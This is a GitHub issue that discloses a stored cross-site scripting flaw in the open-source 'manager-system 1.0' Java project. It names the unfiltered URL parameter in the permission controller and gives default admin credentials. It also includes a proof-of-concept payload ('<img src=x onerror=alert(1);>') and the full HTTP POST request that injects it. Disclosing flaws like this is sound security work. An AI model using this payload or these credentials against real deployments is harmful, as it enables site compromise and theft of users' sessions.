Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

manager-system 1.0 has a storage type XSS #7

Open
LvZCh opened this issue Dec 26, 2024 · 0 comments
Open

manager-system 1.0 has a storage type XSS #7

LvZCh opened this issue Dec 26, 2024 · 0 comments

Comments

@LvZCh
Copy link

LvZCh commented Dec 26, 2024

Source code name:manager-system
Source code version:1.0
Source code download link:https://github.com/ZeroWdd/manager-system/archive/refs/heads/master.zip

Code Audit:
The submitAddPermission method in src/main/java/com/zero/system/controller/PermissionController. java does not filter the passed URL parameter
image
image

Vulnerability exploitation:
http://localhost:8080/manager/login
superadmin/123
Click to modify
image
Input:<img src=x onerror=alert(1);>
Click to modify now
image
Corresponding data packet:

POST /manager/addPermission HTTP/1.1
Host: 192.168.0.102:8080
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=1CEE536BC9A3066C37AB43E0F2E59A30
Connection: close
Content-Length: 80

id=6&name=%E5%90%8E%E5%8F%B0%E4%B8%BB%E9%A1%B5&url=<img src=x onerror=alert(1);>

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant